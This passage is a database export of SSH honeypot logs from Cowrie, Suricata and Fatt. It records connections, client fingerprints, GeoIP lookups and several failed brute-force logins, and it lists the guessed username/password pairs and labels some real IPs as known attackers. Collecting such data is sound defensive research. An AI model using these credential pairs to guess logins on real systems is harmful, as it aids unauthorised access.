"umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 57384, "dest_port": 22, "timestamp": "2021-09-20T11:09:44.435584", "@timestamp": "2021-09-20T11:09:44.435Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25449	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:44.409278+03	2021-09-20 14:15:10.15147+03	{"_id": "WgblAnwBvYTbRNuExhlK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57384, "timestamp": "2021-09-20T11:09:44.409278", "@timestamp": "2021-09-20T11:09:44.409Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25450	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:46.270889+03	2021-09-20 14:15:10.15247+03	{"_id": "bAblAnwBvYTbRNuEyhnG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:46790 (192.168.176.2:22) [session: d2c5878e810b]", "session": "d2c5878e810b", "@version": "1", "protocol": "ssh", "src_port": 46790, "dest_port": 22, "timestamp": "2021-09-20T11:09:46.270889Z", "@timestamp": "2021-09-20T11:09:46.270Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25451	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:45.811028+03	2021-09-20 14:15:10.15347+03	{"_id": "bQblAnwBvYTbRNuEyhnG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d1954c9f280c", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:45.811028Z", "@timestamp": "2021-09-20T11:09:45.811Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25452	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:46.27405+03	2021-09-20 14:15:10.155469+03	{"_id": "cwblAnwBvYTbRNuEyhnG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d2c5878e810b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:46.274050Z", "@timestamp": "2021-09-20T11:09:46.274Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25453	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:46.069064+03	2021-09-20 14:15:10.15647+03	{"_id": "bgblAnwBvYTbRNuEyhnG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [fedora/fedora] failed", "session": "50123e90af28", "@version": "1", "password": "fedora", "username": "fedora", "timestamp": "2021-09-20T11:09:46.069064Z", "@timestamp": "2021-09-20T11:09:46.069Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25454	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:46.17932+03	2021-09-20 14:15:10.15747+03	{"_id": "bwblAnwBvYTbRNuEyhnG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [admin/1] failed", "session": "d33f7fcd1b48", "@version": "1", "password": "1", "username": "admin", "timestamp": "2021-09-20T11:09:46.179320Z", "@timestamp": "2021-09-20T11:09:46.179Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25455	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:09:46.088129+03	2021-09-20 14:15:10.16047+03	{"_id": "dQblAnwBvYTbRNuEzRkK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1173139916147606, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48074, "dest_port": 22, "timestamp": "2021-09-20T11:09:46.088129Z", "@timestamp": "2021-09-20T11:09:46.088Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25456	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:46.274538+03	2021-09-20 14:15:10.161471+03	{"_id": "eAblAnwBvYTbRNuEzhkY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46790, "timestamp": "2021-09-20T11:09:46.274538", "@timestamp": "2021-09-20T11:09:46.274Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25457	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:46.892753+03	2021-09-20 14:15:10.16247+03	{"_id": "eQblAnwBvYTbRNuEzhmx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:51508 (192.168.176.2:22) [session: e72f1f065bb0]", "session": "e72f1f065bb0", "@version": "1", "protocol": "ssh", "src_port": 51508, "dest_port": 22, "timestamp": "2021-09-20T11:09:46.892753Z", "@timestamp": "2021-09-20T11:09:46.892Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25458	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:47.288517+03	2021-09-20 14:15:10.16347+03	{"_id": "gQblAnwBvYTbRNuEzhmy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:53702 (192.168.176.2:22) [session: a5c432a782e1]", "session": "a5c432a782e1", "@version": "1", "protocol": "ssh", "src_port": 53702, "dest_port": 22, "timestamp": "2021-09-20T11:09:47.288517Z", "@timestamp": "2021-09-20T11:09:47.288Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25459	159.75.114.202	109.199.241.180	Cowrie	2021-09-20 14:09:46.557302+03	2021-09-20 14:15:10.16447+03	{"_id": "hwblAnwBvYTbRNuEzhmy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "159.75.114.202", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.75.114.202", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b3e3f3dd5cd8", "@version": "1", "duration": 2.8154029846191406, "timestamp": "2021-09-20T11:09:46.557302Z", "@timestamp": "2021-09-20T11:09:46.557Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25493	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:59.70994+03	2021-09-20 14:15:10.210471+03	{"_id": "ogbmAnwBvYTbRNuEARqA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "0f53b6be767b", "@version": "1", "duration": 4.071774005889893, "timestamp": "2021-09-20T11:09:59.709940Z", "@timestamp": "2021-09-20T11:09:59.709Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25460	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:47.387783+03	2021-09-20 14:15:10.16647+03	{"_id": "gAblAnwBvYTbRNuEzhmx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [keith/keith] failed", "session": "d1954c9f280c", "@version": "1", "password": "keith", "username": "keith", "timestamp": "2021-09-20T11:09:47.387783Z", "@timestamp": "2021-09-20T11:09:47.387Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25461	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:09:47.571542+03	2021-09-20 14:15:10.16747+03	{"_id": "jgblAnwBvYTbRNuE0Bny", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1409440426953344, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 53702, "dest_port": 22, "timestamp": "2021-09-20T11:09:47.571542Z", "@timestamp": "2021-09-20T11:09:47.571Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25462	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:47.696043+03	2021-09-20 14:15:10.16847+03	{"_id": "lQblAnwBvYTbRNuE0hmZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "a5c432a782e1", "@version": "1", "timestamp": "2021-09-20T11:09:47.696043Z", "@timestamp": "2021-09-20T11:09:47.696Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25463	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:48.031293+03	2021-09-20 14:15:10.16947+03	{"_id": "lgblAnwBvYTbRNuE0hmZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "636d77f75103", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:48.031293Z", "@timestamp": "2021-09-20T11:09:48.031Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25464	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:48.442391+03	2021-09-20 14:15:10.17147+03	{"_id": "lwblAnwBvYTbRNuE0hmZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", 